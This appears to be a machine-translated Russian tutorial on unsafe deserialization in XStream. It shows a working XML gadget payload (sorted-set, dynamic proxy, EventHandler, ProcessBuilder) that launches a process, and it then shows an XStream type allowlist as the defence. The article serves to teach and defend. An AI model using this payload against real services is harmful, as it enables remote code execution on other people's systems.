Перейти к основному содержимому

Удаленное выполнение кода с помощью XStream

· 6 мин. чтения

1. Обзор

В этом руководстве мы рассмотрим атаку удаленного выполнения кода на библиотеку сериализации XStream XML. Этот эксплойт относится к категории атак ненадежной десериализации .

Мы узнаем, когда XStream уязвим для этой атаки, как работает атака и как предотвратить такие атаки.

2. Основы XStream

Прежде чем описывать атаку, давайте рассмотрим некоторые основы XStream. XStream — это библиотека сериализации XML, которая транслирует типы Java и XML. Рассмотрим простой класс Person :

public class Person {
private String first;
private String last;

// standard getters and setters
}

Давайте посмотрим, как XStream может записать некоторый экземпляр Person в XML :

XStream xstream = new XStream();
String xml = xstream.toXML(person);

Точно так же XStream может считывать XML в экземпляр Person :

XStream xstream = new XStream();
xstream.alias("person", Person.class);
String xml = "<person><first>John</first><last>Smith</last></person>";
Person person = (Person) xstream.fromXML(xml);

В обоих случаях XStream использует отражение Java для преобразования типа Person в XML и обратно. Атака происходит во время чтения XML. При чтении XML XStream создает экземпляры классов Java с использованием отражения.

Классы, которые XStream создает, определяются именами XML-элементов, которые он анализирует.

Поскольку мы настроили XStream так, чтобы он знал о типе Person , XStream создает новый экземпляр Person при анализе элементов XML с именем «person».

В дополнение к определяемым пользователем типам, таким как Person , XStream распознает основные типы Java по умолчанию. Например, XStream может прочитать карту из XML:

String xml = "" 
+ "<map>"
+ " <element>"
+ " <string>foo</string>"
+ " <int>10</int>"
+ " </element>"
+ "</map>";
XStream xStream = new XStream();
Map<String, Integer> map = (Map<String, Integer>) xStream.fromXML(xml);

Мы увидим, как способность XStream считывать XML, представляющий основные типы Java, может быть полезна при использовании эксплойта для удаленного выполнения кода.

3. Как работает атака

Атаки с удаленным выполнением кода происходят, когда злоумышленники вводят данные, которые в конечном итоге интерпретируются как код. В этом случае злоумышленники используют стратегию десериализации XStream, предоставляя код атаки в виде XML.

При правильном составе классов XStream в конечном итоге запускает код атаки через отражение Java.

Давайте построим пример атаки.

3.1. Включить код атаки в ProcessBuilder

Наша атака направлена на запуск нового процесса настольного калькулятора. В macOS это «/Applications/Calculator.app». В Windows это «calc.exe». Для этого мы заставим XStream запустить новый процесс с помощью ProcessBuilder. Вспомните код Java, чтобы запустить новый процесс :

new ProcessBuilder().command("executable-name-here").start();

При чтении XML XStream вызывает только конструкторы и задает поля. Поэтому у злоумышленника нет простого способа вызвать метод ProcessBuilder.start() .

Однако хитрые злоумышленники могут использовать правильную композицию классов, чтобы в конечном итоге выполнить метод start() класса ProcessBuilder . ``

Исследователь безопасности Динис Круз показывает нам в своем блоге , как они используют интерфейс Comparable для вызова кода атаки в конструкторе копирования отсортированной коллекции TreeSet. Мы подытожим подход здесь.

3.2. Создайте сопоставимый динамический прокси

Напомним, что злоумышленнику необходимо создать ProcessBuilder и вызвать его метод start() . Для этого мы создадим экземпляр Comparable , метод сравнения которого вызывает метод start() класса ProcessBuilder . ``

К счастью, динамические прокси- серверы Java позволяют нам динамически создавать экземпляр Comparable .

Кроме того, класс Java EventHandler предоставляет злоумышленнику настраиваемую реализацию InvocationHandler . Злоумышленник настраивает EventHandler для вызова метода start() класса ProcessBuilder . ``

Соединяя эти компоненты вместе, мы получаем XML-представление XStream для Comparable proxy:

<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/Applications/Calculator.app</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>

3.3. Принудительное сравнение с использованием сопоставимого динамического прокси

Чтобы принудительно провести сравнение с нашим Comparable proxy, мы создадим отсортированную коллекцию. Давайте создадим коллекцию TreeSet , которая сравнивает два экземпляра Comparable : строку и наш прокси.

Мы будем использовать конструктор копирования TreeSet для создания этой коллекции. Наконец, у нас есть XML-представление XStream для нового TreeSet , содержащего наш прокси и String :

<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/Applications/Calculator.app</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>

В конечном итоге атака происходит, когда XStream читает этот XML. Хотя разработчик ожидает, что XStream прочитает Person , вместо этого он выполняет атаку:

String sortedSortAttack = // XML from above
XStream xstream = new XStream();
Person person = (Person) xstream.fromXML(sortedSortAttack);

3.4. Сводка по атаке

Подытожим рефлексивные вызовы, которые делает XStream при десериализации этого XML.

  1. XStream вызывает конструктор копирования TreeSet с коллекцией , содержащей строку «foo» и наш Comparable proxy.
  2. Конструктор TreeSet вызывает метод compareTo нашего Comparable proxy, чтобы определить порядок элементов в отсортированном наборе. ``
  3. Наш сопоставимый динамический прокси-сервер делегирует все вызовы методов EventHandler .
  4. EventHandler сконфигурирован для вызова метода start() ProcessBuilder , который он составляет.
  5. ProcessBuilder разветвляет новый процесс, выполняющий команду, которую хочет выполнить злоумышленник.

4. Когда XStream уязвим?

XStream может быть уязвим для этой атаки с удаленным выполнением кода, когда злоумышленник контролирует XML, который он читает.

Например, рассмотрим REST API, который принимает ввод XML. Если этот REST API использует XStream для чтения тела XML-запроса, он может быть уязвим для атаки с удаленным выполнением кода, поскольку злоумышленники контролируют содержимое XML, отправляемого в API.

С другой стороны, приложение, которое использует XStream только для чтения доверенного XML, имеет гораздо меньшую поверхность атаки.

Например, рассмотрим приложение, которое использует XStream только для чтения файлов конфигурации XML, заданных администратором приложения. Это приложение не подвергается удаленному выполнению кода XStream, поскольку злоумышленники не контролируют XML, читаемый приложением (администратор).

5. Защита XStream от атак с удаленным выполнением кода

К счастью, в XStream версии 1.4.7 появилась структура безопасности . Мы можем использовать структуру безопасности, чтобы защитить наш пример от атак с удаленным выполнением кода. Платформа безопасности позволяет нам настроить XStream с помощью белого списка типов, которые ему разрешено создавать.

Этот список будет включать только основные типы и наш класс Person :

XStream xstream = new XStream();
xstream.addPermission(NoTypePermission.NONE);
xstream.addPermission(NullPermission.NULL);
xstream.addPermission(PrimitiveTypePermission.PRIMITIVES);
xstream.allowTypes(new Class<?>[] { Person.class });

Кроме того, пользователи XStream могут рассмотреть возможность усиления защиты своих систем с помощью агента самозащиты приложений во время выполнения (RASP). Агенты RASP используют инструментарий байт -кода во время выполнения для автоматического обнаружения и блокировки атак. Этот метод менее подвержен ошибкам, чем создание белого списка типов вручную.

6. Заключение

В этой статье мы узнали, как выполнить атаку с удаленным выполнением кода на приложение, использующее XStream для чтения XML. Так как подобные атаки существуют, XStream должен быть защищен, когда он используется для чтения XML из ненадежных источников.

Эксплойт существует, потому что XStream использует отражение для создания экземпляров классов Java, идентифицированных XML злоумышленника.

Как всегда, код примеров можно найти на GitHub .